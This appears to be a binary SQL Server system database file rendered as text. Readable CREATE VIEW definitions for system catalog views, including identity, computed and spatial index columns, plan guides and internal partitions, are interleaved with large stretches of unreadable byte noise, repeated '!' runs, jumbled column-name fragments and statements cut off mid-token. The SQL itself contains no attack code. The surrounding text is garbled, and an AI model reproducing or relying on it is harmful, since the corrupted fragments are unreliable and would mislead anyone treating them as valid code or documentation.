Yspatial_index_type0-xxcspatial_index_type_desc0-xx[tessellation_scheme0-hhIhas_filter0-@Wfilter_definition0-88
Gobject_id0-88
Eindex_id0-xx[tessellation_scheme:?NIRi`-3L)lS0-88
Gobject_id0-=name0-88
Eindex_id0-00=type0-xxGtype_desc0-hhGis_unique0-88
Odata_space_id0-hhQignore_dup_key0-	hhQis_primary_key0-
hh]is_unique_constraint0-00Kfill_factor0-hhGis_padded0-
hhKis_disabled0-hhSis_hypothetical0-hhSallow_row_locks0-hhUallow_page_locks0-88
Yspatial_index_type0-xxcspatial_index_type_desc0-xx[tessellation_scheme0-hhIhas_filter0-@Wfilter_definition0-88
Gobject_id0-@Idefinition0-hhSuses_ansi_nulls0-hhauses_quoted_identifier0-hhSis_schema_bound0-hhcuses_database_collation0-hhOis_recompiled0-hhYnull_on_null_input0-	88
cexecute_as_principal_id0-88
Gobject_id0-88
Sorder_column_id0-88
Gcolumn_id0-hhOis_descending0-=name0-00Qsystem_type_id0-88
Muser_type_id0-88
Gschema_id0-88
Mprincipal_id0-44Imax_length0-00Gprecision0-00?scale0-	Qcollation_name0-
hhKis_nullable0-hhSis_user_defined0-hhUis_assembly_type0-
88
Wdefault_object_id0-88
Qrule_object_id0-hhOis_table_type0-88
]type_table_object_id0-88
Qreferencing_id0-88
]referencing_minor_id0-00Wreferencing_class0-xxareferencing_class_desc0-hhgis_schema_bound_reference0-00Ureferenced_class0-xx_referenced_class_desc0-areferenced_server_name0-	ereferenced_database_name0-
areferenced_schema_name0-areferenced_entity_name0-88
Oreferenced_id0-
88
[referenced_minor_id0-hh[is_caller_dependent0-hhMis_ambiguous0-Yallocation_unit_id0-00=type0-xxGtype_desc0-Mcontainer_id0-44Mfilegroup_id0-Ktotal_pages0-Iused_pages0-Idata_pages0-	Ifirst_page0-
Groot_page0-Qfirst_iam_page00?scale0-Qcollation_name0-
hhOis_filestream0-44Kkey_ordinal0-hhKis_nullable0-hhWis_descending_key0-hhQis_uniqueifier0-44Kleaf_offset0-44Sinternal_offset0-00Wleaf_bit_position0-00_internal_bit_position0-44Oleaf_null_bit0-44Winternal_null_bit0-hhQis_anti_matter0-$$_partition_column_guid0-hhGis_sparse0-hhKhas_default0-bbPPOdefault_value0-Yallocation_unit_id0-00=type0-xxGtype_desc0-Mcontainer_ids,|%w 1DeBa7s		ha03

D

u(C4#]B-
p

	z1srBCf)`-) t0-r88
Gobject_id0-r=name0-r88
Eindex_id0-r00=type0-rxxGtype_desc0-rhhGis_unique0-r88
Odata_space_id0-rhhQignore_dup_key0-r	hhQis_primary_key0-r
hh]is_unique_constraint0-r00Kfill_factor0-rhhGis_padded0-r
hhKis_disabled0-rhhSis_hypothetical0-rhhSallow_row_locks0-rhhUallow_page_locks0-r88
Yusing_xml_index_id0-rQsecondary_type0-rxx[secondary_type_desc0-rhhIhas_filter0-r@Wfilter_definition0-r00Qxml_index_type0-rxxixml_index_type_description0-r88
Cpath_id!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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n_id0-n88
Gobject_id0-n=name0-n88
Estats_id0-nhhMauto_created0-nhhMuser_created0-nhhMno_recompute0-nhhIhas_filter0-n@Wfilter_definition0-n	hhMis_temporary0-o88
Gobject_id0-o88
Eindex_id0-o88
Sindex_column_id0-o88
Gcolumn_id0-o00Kkey_ordinal0-o00Wpartition_ordinal0-ohhWis_descending_key0-ohhYis_included_column0-qMpartition_id0-q88
Gobject_id0-q88
Eindex_id0-q88
Upartition_number0-qChobt_id0-q=rows0-q44cfilestream_filegroup_id0-q00Udata_compression0-q	xx_data_compression_desc0-pYallocation_unit_id0-p00=type0-pxxGtype_desc0-pMcontainer_id0-p88
Odata_space_id0-pKtotal_pages0-pIused_pages0-pIdata_pages!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!	It/m$

=
		`	BIj#6O
?`-)*G0-k88
Gobject_id0-k88
Gcolumn_id0-k88
Qtype_column_id0-k88
Klanguage_id0-k88
_statistical_semantics0-l88
Gobject_id0-l88
Sunique_index_id0-l88
[fulltext_catalog_id0-lhhIis_enabled0-l_change_tracking_state0-lxxichange_tracking_state_desc0-lhh[has_crawl_completed0-lIcrawl_type0-l	xxScrawl_type_desc0-l
==Ucrawl_start_date0-l==Qcrawl_end_date0-l_incremental_timestamp0-l
88
Kstoplist_id0-l88
Uproperty_list_id0-l88
Odata_space_id!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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_UNIQUE
		isnull(ds.indepid, 1 - (i.status & 0x100)/0x100) AS data_space_id,	-- IS_IND_ITWINDEX
		sysconv(bit, i.status & 0x4) AS ignore_dup_key,		-- IS_IND_DPKEYS
		sysconv(bit, i.status & 0x20) AS is_primary_key,	-- IS_IND_PRIMARY
		sysconv(bit, i.status & 0x40) AS is_unique_constraint,	-- IS_IND_UNIQUE_CO
		i.fillfact AS fill_factor,
		sysconv(bit, i.status & 0x10) AS is_padded,		-- IS_IND_PADINDEX
		sysconv(bit, i.status & 0x80) AS is_disabled,		-- IS_IND_OFFLINE
		sysconv(bit, i.status & 0x100) AS is_hypothetical,	-- IS_IND_ITWINDEX
		sysconv(bit, 1 - (i.status & 512)/512) AS allow_row_locks,		-- IS_IND_NO_ROWLOCK
		sysconv(bit, 1 - (i.status & 1024)/1024) AS allow_page_locks,		-- IS_IND_NO_PAGELOCK
		sysconv(bit, i.status & 0x20000) AS has_filter,	-- IS_HAS_FILTER
		case when (i.status & 0x20000) != 0 then object_definition(i.id, i.indid, 7) else NULL end AS filter_definition -- x_euncIndex
	FROM sys.sysidxstats i
	LEFT JOIN sys.syssingleobjrefs ds ON ds.depid = i.id AND ds.class = 7 AND ds.depsubid = i.indid	-- SRC_INDEXTODS
	LEFT JOIN sys.syspalvalues n ON n.class = 'IDXT' and n.value = i.type
	WHERE (i.status & 1) <> 0
		AND has_access('CO', i.id) = 1	-- IS_INDEX
0t@ :8CREATE VIEW sys.identity_columns AS
	SELECT object_id = id,
		name = name,
		column_id = colid,
		system_type_id = xtype,
		user_type_id = utype,
		max_length = length,
		precision = prec,
		scale = scale,
		collation_name = convert(sysname,CollationPropertyFromId(collationid,'name')),
		is_nullable = sysconv(bit, 1 - (status & 1)), 	-- CPM_NOTNULL
		is_ansi_padded = sysconv(bit, status & 2), 	-- CPM_NOTRIM
		is_rowguidcol = sysconv(bit, status & 8), 	-- CPM_ROWGUIDCOL
		is_identity = sysconv(bit, status & 4), 		-- CPM_IDENTCOL
		is_filestream = sysconv(bit, status & 32), 	-- CPM_FILESTREAM
		is_replicated = sysconv(bit, status & 0x20000), 	-- CPM_REPLICAT
		is_non_sql_subscribed = sysconv(bit, status & 0x40000), 	-- CPM_NONSQSSUB
		is_merge_published = sysconv(bit, status & 0x80000), 		-- CPM_MERGEREPL
		is_dts_replicated = sysconv(bit, status & 0x100000), 		-- CPM_REPLDTS
		is_xml_document = sysconv(bit, 0),
		xml_collection_id = sysconv(int, 0),
		default_object_id = sysconv(int, 0),
		rule_object_id = sysconv(int, 0),
		seed_value = IdentityProperty(id, 'SeedValue'),
		increment_value = IdentityProperty(id, 'IncrementValue'),
		last_value = IdentityProperty(id, 'LastValue'),
		is_not_for_replication = sysconv(bit, status & 0x10000),	-- CPM_ID_REPL
		is_computed = sysconv(bit, status & 16),			-- CPM_COMPUTED				
		sysconv(bit, 0) as is_sparse,
		sysconv(bit, 0) as is_column_set
	FROM sys.syscolpars
	WHERE number = 0	-- SOC_COLUMN
		AND (status & 4) = 4 	-- CPM_IDENTCOL
		AND has_access('CO', id) = 1
0u@ 8CREATE VIEW sys.computed_columns AS
	SELECT object_id = id,
		name = name,
		column_id = colid,
		system_type_id = xtype,
		user_type_id = utype,
		max_length = length,
		precision = prec,
		scale = scale,
		collation_name = convert(sysname,CollationPropertyFromId(collationid,'name')),
		is_nullable = sysconv(bit, 1 - (status & 1)), 		-- CPM_NOTNULL
		is_ansi_padded = sysconv(bit, status & 2), 		-- CPM_NOTRIM
		is_rowguidcol = sysconv(bit, status & 8), 		-- CPM_ROWGUIDCOL
		is_identity = sysconv(bit, status & 4), 		-- CPM_IDENTCOL
		is_filestream = sysconv(bit, status & 32), 		-- CPM_FILESTREAM
		is_replicated = sysconv(bit, status & 0x20000), 	-- CPM_REPLICAT
		is_non_sql_subscribed = sysconv(bit, status & 0x40000),	-- CPM_NONSQSSUB
		is_merge_published = sysconv(bit, status & 0x80000), 	-- CPM_MERGEREPL
		is_dts_replicated = sysconv(bit, status & 0x100000), 	-- CPM_REPLDTS
		is_xml_document = sysconv(bit, status & 2048),		-- CPM_XML_DOC 		
		xml_collection_id = xmlns,
		default_object_id = dflt,
		rule_object_id = chk,
		definition = object_definition(id, colid),
		uses_database_collation = sysconv(bit, status & 128),		-- CPM_USESDBCOLL
		is_persisted = sysconv(bit, status & 64),			-- CPM_PERSISTEDCC	
		is_computed = sysconv(bit, status & 16),			-- CPM_COMPUTED	
		sysconv(bit, 0) as is_sparse,
		sysconv(bit, 0) as is_column_set
	FROM sys.syscolpars
	WHERE number = 0
		AND (status & 16) = 16			-- CPM_COMPUTED
		AND has_access('CO', id) = 1
0v@ |8CREATE VIEW sys.system_parameters AS
	SELECT object_id, name collate catalog_default AS name,
		parameter_id, system_type_id,
		user_type_id, max_length,
		precision, scale,
		is_output, is_cursor_ref,
		has_default_value, is_xml_document,
		default_value, xml_collection_id,
		is_readonly
	FROM sys.system_parameters$
	WHERE number = 1
0w@ N8CREATE VIEW sys.parameters AS
	SELECT object_id, name,
		parameter_id, system_type_id,
		user_type_id, max_length,
		precision, scale,
		is_output, is_cursor_ref,
		has_default_value, is_xml_document,
		default_value, xml_collection_id,
		is_readonly
	FROM sys.parameters$
	WHERE number = 1
0x@ S8CREATE VIEW sys.system_columns AS
	SELECT object_id, name collate catalog_default AS name,
		column_id, system_type_id, user_type_id,
		max_length, precision, scale,
		convert(sysname, ColumnPropertyEx(object_id, name, 'collation')) AS collation_name,
		is_nullable, is_ansi_padded, is_rowguidcol,
		is_identity, is_computed, is_filestream,
		is_replicated, is_non_sql_subscribed,
		is_merge_published, is_dts_replicated,
		is_xml_document, xml_collection_id,
		default_object_id, rule_object_id,
		is_sparse, is_column_set
	FROM sys.system_columns$
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!+1`<<(0
 8CREATE VIEW sys.change_tracking_tables AS
	SELECT oUserTable.id AS object_id, 
		sysconv(bit, oUserTable.status & 134217728) AS is_track_columns_updated_on,	-- OBJTAB_TRACKCOLUMNS
		change_tracking_min_valid_version(oUserTable.id) as min_valid_version, 
		cast(ISNULL(csnlastinvalid.value, 0) as bigint) as begin_version,
		change_tracking_cleanup_version() as cleanup_version
	FROM sys.sysschobjs oIntlTable
	INNER JOIN sys.syssingleobjrefs par ON par.depid = oIntlTable.id AND par.class = 40 AND par.depsubid = 209 -- SRC_INTLTAB_PARENT, ITT_ChangeTrackingTable
	INNER JOIN sys.sysschobjs oUserTable ON par.indepid = oUserTable.id
	LEFT JOIN sys.sysobjvalues csnlastinvalid ON csnlastinvalid.objid = oUserTable.id and csnlastinvalid.valclass=95 and csnlastinvalid.valnum=1 -- SVC_CHANGE_TRACKING_SETTINGS 	= 95
	WHERE oIntlTable.nsclass = 0 -- x_eonc_Standard
		AND oIntlTable.nsid = 4 AND oIntlTable.pclass = 1 AND oIntlTable.type = 'IT' -- x_eunc_Object
		AND has_access('CO', oUserTable.id) = 1
0 8CREATE VIEW sys.spatial_index_tessellations
AS
	-- GEOMETRY_GRID indexes have a scheme id of 1 and are output by this clause.
	--
	SELECT 
	objid AS object_id, 
	subobjid AS index_id, 
	tes.name AS tessellation_scheme,
	convert(float, [2]) AS bounding_box_xmin, 
	convert(float, [3]) AS bounding_box_ymin,
	convert(float, [4]) AS bounding_box_xmax,
	convert(float, [5]) AS bounding_box_ymax,
	convert(smallint, case [6] when 1 then 4 when 2 then 16 when 3 then 64 when 4 then 256 else NULL end) AS level_1_grid,
	d1.name AS level_1_grid_desc,
	convert(smallint, case [7] when 1 then 4 when 2 then 16 when 3 then 64 when 4 then 256 else NULL end) AS level_2_grid,
	d2.name AS level_2_grid_desc,
	convert(smallint, case [8] when 1 then 4 when 2 then 16 when 3 then 64 when 4 then 256 else NULL end) AS level_3_grid,
	d3.name AS level_3_grid_desc,
	convert(smallint, case [9] when 1 then 4 when 2 then 16 when 3 then 64 when 4 then 256 else NULL end) AS level_4_grid,
	d4.name AS level_4_grid_desc,
	convert(int, [10]) AS cells_per_object
	FROM
	(
		SELECT objid, subobjid, i.intprop as scheme_id, valnum, value FROM sys.sysobjvalues v
		LEFT JOIN sys.sysidxstats i ON i.id = v.objid and i.indid = v.subobjid
		WHERE v.subobjid >= 384000 AND v.subobjid <= 385000 
			AND has_access('CO', i.id) = 1
			AND i.intprop = 1
	) AS SourceTable
	PIVOT
	(
		MIN(value) FOR valnum IN ([2], [3], [4], [5], [6], [7], [8], [9], [10])
	) AS PivotTable
	LEFT JOIN sys.syspalvalues tes ON tes.class = 'EISP' and tes.value = scheme_id
	LEFT JOIN sys.syspalvalues d1 ON d1.class = 'EISD' and d1.value = [6]
	LEFT JOIN sys.syspalvalues d2 ON d2.class = 'EISD' and d2.value = [7]
	LEFT JOIN sys.syspalvalues d3 ON d3.class = 'EISD' and d3.value = [8]
	LEFT JOIN sys.syspalvalues d4 ON d4.class = 'EISD' and d4.value = [9]

	UNION ALL

	-- GEOGRAPHY_GRID indexes have a scheme id of 2 and are output by this clause.
	-- The bounding box columns are null for geography indexes.

	SELECT 
	objid AS object_id, 
	subobjid AS index_id, 
	tes.name AS tessellation_scheme,
	null AS bounding_box_xmin, 
	null AS bounding_box_ymin,
	null AS bounding_box_xmax,
	null AS bounding_box_ymax,
	convert(smallint, case [2] when 1 then 4 when 2 then 16 when 3 then 64 when 4 then 256 else NULL end) AS level_1_grid,
	d1.name AS level_1_grid_desc,
	convert(smallint, case [3] when 1 then 4 when 2 then 16 when 3 then 64 when 4 then 256 else NULL end) AS level_2_grid,
	d2.name AS level_2_grid_desc,
	convert(smallint, case [4] when 1 then 4 when 2 then 16 when 3 then 64 when 4 then 256 else NULL end) AS level_3_grid,
	d3.name AS level_3_grid_desc,
	convert(smallint, case [5] when 1 then 4 when 2 then 16 when 3 then 64 when 4 then 256 else NULL end) AS level_4_grid,
	d4.name AS level_4_grid_desc,
	convert(int, [6]) AS cells_per_object
	FROM
	(
		SELECT objid, subobjid, i.intprop as scheme_id, valnum, value FROM sys.sysobjvalues v
		LEFT JOIN sys.sysidxstats i ON i.id = v.objid and i.indid = v.subobjid
		WHERE v.subobjid >= 384000 AND v.subobjid <= 385000 
			AND has_access('CO', i.id) = 1
			AND i.intprop = 2
	) AS SourceTable
	PIVOT
	(
		MIN(value) FOR valnum IN ([2], [3], [4], [5], [6])
	) AS PivotTable
	LEFT JOIN sys.syspalvalues tes ON tes.class = 'EISP' and tes.value = scheme_id
	LEFT JOIN sys.syspalvalues d1 ON d1.class = 'EISD' and d1.value = [2]
	LEFT JOIN sys.syspalvalues d2 ON d2.class = 'EISD' and d2.value = [3]
	LEFT JOIN sys.syspalvalues d3 ON d3.class = 'EISD' and d3.value = [4]
	LEFT JOIN sys.syspalvalues d4 ON d4.class = 'EISD' and d4.value = [5]

	UNION ALL

	-- GEOMETRY_AUTO_GRID indexes have a scheme id of 3 and are output by this clause.
	--
	SELECT 
	objid AS object_id, 
	subobjid AS index_id, 
	tes.name AS tessellation_scheme,
	convert(float, [2]) AS bounding_box_xmin, 
	convert(float, [3]) AS bounding_box_ymin,
	convert(float, [4]) AS bounding_box_xmax,
	convert(float, [5]) AS bounding_box_ymax,
	NULL AS level_1_grid,
	NULL AS level_1_grid_desc,
	NULL AS level_2_grid,
	NULL AS level_2_grid_desc,
	NULL AS level_3_grid,
	NULL AS level_3_grid_desc,
	NULL AS level_4_grid,
	NULL AS level_4_grid_desc,
	convert(int, [6]) AS cells_per_object
	FROM
	(
		SELECT objid, subobjid, i.intprop as scheme_id, valnum, value FROM sys.sysobjvalues v
		LEFT JOIN sys.sysidxstats i ON i.id = v.objid and i.indid = v.subobjid
		WHERE v.subobjid >= 384000 AND v.subobjid <= 385000 
			AND has_access('CO', i.id) = 1
			AND i.intprop = 3
	) AS SourceTable
	PIVOT
	(
		MIN(value) FOR valnum IN ([2], [3], [4], [5], [6])
	) AS PivotTable
	LEFT JOIN sys.syspalvalues tes ON tes.class = 'EISP' and tes.value = scheme_id

	UNION ALL

	-- GEOGRAPHY_AUTO_GRID indexes have a scheme id of 4 and are output by this clause.
	-- The bounding box columns are null for geography indexes.

	SELECT 
	objid AS object_id, 
	subobjid AS index_id, 
	tes.name AS tessellation_scheme,
	null AS bounding_box_xmin, 
	null AS bounding_box_ymin,
	null AS bounding_box_xmax,
	null AS bounding_box_ymax,
	NULL AS level_1_grid,
	NULL AS level_1_grid_desc,
	NULL AS level_2_grid,
	NULL AS level_2_grid_desc,
	NULL AS level_3_grid,
	NULL AS level_3_grid_desc,
	NULL AS level_4_grid,
	NULL AS level_4_grid_desc,
	convert(int, [2]) AS cells_per_object
	FROM
	(
		SELECT objid, subobjid, i.intprop as scheme_id, valnum, value FROM sys.sysobjvalues v
		LEFT JOIN sys.sysidxstats i ON i.id = v.objid and i.indid = v.subobjid
		WHERE v.subobjid >= 384000 AND v.subobjid <= 385000 
			AND has_access('CO', i.id) = 1
			AND i.intprop = 4
	) AS SourceTable
	PIVOT
	(
		MIN(value) FOR valnum IN ([2])
	) AS PivotTable
	LEFT JOIN sys.syspalvalues tes ON tes.class = 'EISP' and tes.value = scheme_id

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!N
~|
u`8<LLc0@ 8CREATE VIEW sys.spatial_indexes AS
	SELECT i.id AS object_id,
		i.name AS name,
		i.indid AS index_id,
		i.type,
		n.name AS type_desc,
		sysconv(bit, i.status & 0x8) AS is_unique,			-- IS_IND_UNIQUE
		isnull(ds.indepid, 1) AS data_space_id,
		sysconv(bit, i.status & 0x4) AS ignore_dup_key,		-- IS_IND_DPKEYS
		sysconv(bit, i.status & 0x20) AS is_primary_key,		-- IS_IND_PRIMARY
		sysconv(bit, i.status & 0x40) AS is_unique_constraint,	-- IS_IND_UNIQUE_CO
		i.fillfact AS fill_factor,
		sysconv(bit, i.status & 0x10) AS is_padded,				-- IS_IND_PADINDEX
		sysconv(bit, i.status & 0x80) AS is_disabled,			-- IS_IND_OFFLINE
		sysconv(bit, i.status & 0x100) AS is_hypothetical,		-- IS_IND_ITWINDEX
		sysconv(bit, 1 - (i.status & 512)/512) AS allow_row_locks,		-- IS_IND_NO_ROWLOCK
		sysconv(bit, 1 - (i.status & 1024)/1024) AS allow_page_locks,	-- IS_IND_NO_PAGELOCK
		i.intprop AS spatial_index_type,
		ei.name AS spatial_index_type_desc,
		tes.name AS tessellation_scheme,
		sysconv(bit, 0) AS has_filter,
		convert(nvarchar(max), NULL) AS filter_definition
	FROM sys.sysidxstats i
	LEFT JOIN sys.syssingleobjrefs ds ON ds.depid = i.id AND ds.class = 7 AND ds.depsubid = i.indid	-- SRC_INDEXTODS	
	LEFT JOIN sys.syspalvalues n ON n.class = 'IDXT' and n.value = i.type
	LEFT JOIN sys.syspalvalues ei ON ei.class = 'EITP' and ei.value = i.intprop
	LEFT JOIN sys.syspalvalues tes ON tes.class = 'EISP' and tes.value = i.intprop
	WHERE i.indid >= 384000
		AND has_access('CO', i.id) = 1
0@ 8CREATE VIEW sys.system_sql_modules AS
	SELECT o.object_id,
		definition = object_definition(o.object_id),
		uses_ansi_nulls = sysconv(bit, 1),
		uses_quoted_identifier = sysconv(bit, 1),
		is_schema_bound = sysconv(bit, 0),
		uses_database_collation = sysconv(bit, 0),
		is_recompiled = sysconv(bit, 0),
		null_on_null_input = sysconv(bit, 0),
		execute_as_principal_id = convert(int, NULL)
	FROM sys.system_objects o
	WHERE o.type IN ('P','V','FN','IF','TF','RF','IS')
0 L8CREATE VIEW sys.function_order_columns AS
	SELECT idmajor AS object_id,
		subid AS order_column_id,
		intprop AS column_id,
	  	convert (bit, status & 0x4) AS is_descending	-- ISC_IC_DESC_KEY
	FROM sys.sysiscols
	WHERE (status & 64) <> 0 -- ISC_ORDER_HINT
		AND has_access('CO', idmajor) = 1
0@ 8CREATE VIEW sys.table_types AS
	SELECT name,
		t.xtype AS system_type_id,
		t.id AS user_type_id,
		t.schid AS schema_id,
		own.indepid AS principal_id,
		t.length AS max_length,
		t.prec AS precision,
		t.scale AS scale,
		convert(sysname, collationpropertyfromid(t.collationid, 'name')) AS collation_name,
		sysconv(bit, 1 - (t.status & 1)) AS is_nullable,	-- TYPE_NOTNULL
		sysconv(bit, 1) AS is_user_defined,
		sysconv(bit, 0) AS is_assembly_type,
		sysconv(int, 0) AS default_object_id,
		sysconv(int, 0) AS rule_object_id,
		sysconv(bit, 1) AS is_table_type,
		o.indepid AS type_table_object_id
	FROM sys.sysscalartypes t
	LEFT JOIN sys.syssingleobjrefs own ON own.depid = t.id AND own.class = 44 AND own.depsubid = 0	-- SRC_TYPETOOWNER
	INNER JOIN sys.syssingleobjrefs o ON o.depid = t.id AND o.class = 36 AND o.depsubid = 0	
		-- 36==SRC_TYPETOTABLE, so only table types show up in this view
	WHERE has_access('UT', t.id) = 1
0@ 8CREATE VIEW sys.plan_guides AS
	SELECT 
		plan_guide_id 	= g.id,
		name 		= g.name, 
		create_date 	= g.created,
		modify_date 	= g.modified,
		is_disabled 	= sysconv(bit, g.status & 1),
		query_text 	= convert(nvarchar(max), p.stmt),
		scope_type 	= g.scopetype,
		scope_type_desc 	= convert(nvarchar(60), case g.scopetype 
								when  1 then 'OBJECT' 
								when  2 then 'SQL'
								else 'TEMPLATE' end),
		scope_object_id = sysconv(int, case g.scopetype when 1 then g.scopeid end), -- object-id is non-NULL only for module-scoped guide
		scope_batch 	= convert(nvarchar(max), p.batch), -- for single-stmt batch, batch_text is always NULL
		parameters 		= convert(nvarchar(max), p.params),
		hints 			= convert(nvarchar(max), p.hints)
	FROM sys.syssqlguides g CROSS APPLY OpenRowset(TABLE PLANGUIDES, g.id, g.scopeid, g.scopetype) p	
	WHERE g.scopeid <> 0 -- filter-out batch entries
0 8CREATE VIEW sys.sql_expression_dependencies AS
	SELECT referencing_id, referencing_minor_id, referencing_class, referencing_class_desc,
			is_schema_bound_reference, referenced_class, referenced_class_desc,
			referenced_server_name, referenced_database_name, referenced_schema_name, referenced_entity_name,
			referenced_id, referenced_minor_id, is_caller_dependent, is_ambiguous
	FROM sys.sql_expression_dependencies$
	WHERE has_perms_by_name(quotename(db_name()), 'DATABASE', 'VIEW DEFINITION') = 1
0 8CREATE VIEW sys.system_internals_partitions AS
	SELECT rs.rowsetid AS partition_id,
		rs.idmajor AS object_id,
		rs.idminor AS index_id,
		rs.numpart AS partition_number,
		isnull(ct.rows, rs.rcrows) AS rows,
		rs.fgidfs AS filestream_filegroup_id,
		convert(bit, 1-rs.ownertype) AS is_orphaned,
		convert(tinyint, rs.status & 3) AS dropped_lob_column_state,	--RS_LOBSTAT_*
		convert(bit, rs.status & 4) AS is_unique,					--RS_UNIQUE
		convert(bit, rs.status & 8) AS is_replicated,					--RS_REPLICATED
		convert(bit, rs.status & 16) AS is_logged_for_replication,		--RS_LOG_OFFROW_FOR_REPL
		sysconv(bit, rs.status & 1073741824) AS is_sereplicated,				--RS_SEREPLICATED
		rs.maxnullbit AS max_null_bit_used,
		rs.maxleaf AS max_leaf_length,
		rs.minleaf AS min_leaf_length,
		rs.maxint AS max_internal_length,
		rs.minint AS min_internal_length,
		convert(bit, rs.status & 64) AS allows_nullable_keys,			--RS_NULLABLE_KEYS
		convert(bit, 1-(rs.status & 128)/128) AS allow_row_locks,	--RS_NO_ROWLOCK
		convert(bit, 1-(rs.status & 256)/256) AS allow_page_locks,	--RS_NO_PAGELOCK
		convert(bit, rs.status & 512) AS is_data_row_format,			--RS_DATAROW_FRMT
		convert(bit, rs.status & 2048) AS is_not_versioned,			--RS_NOTVERSIONED
		convert(uniqueidentifier, rs.rsguid) AS filestream_guid
	FROM sys.sysrowsets rs OUTER APPLY OpenRowset(TABLE ALUCOUNT, rs.rowsetid, 0, 0) ct
ider_algid
	FROM sys.sysasymkeys a
	LEFT JOIN sys.syssingleobjrefs r ON r.depid = a.id AND r.class = 64 AND r.depsubid = 0
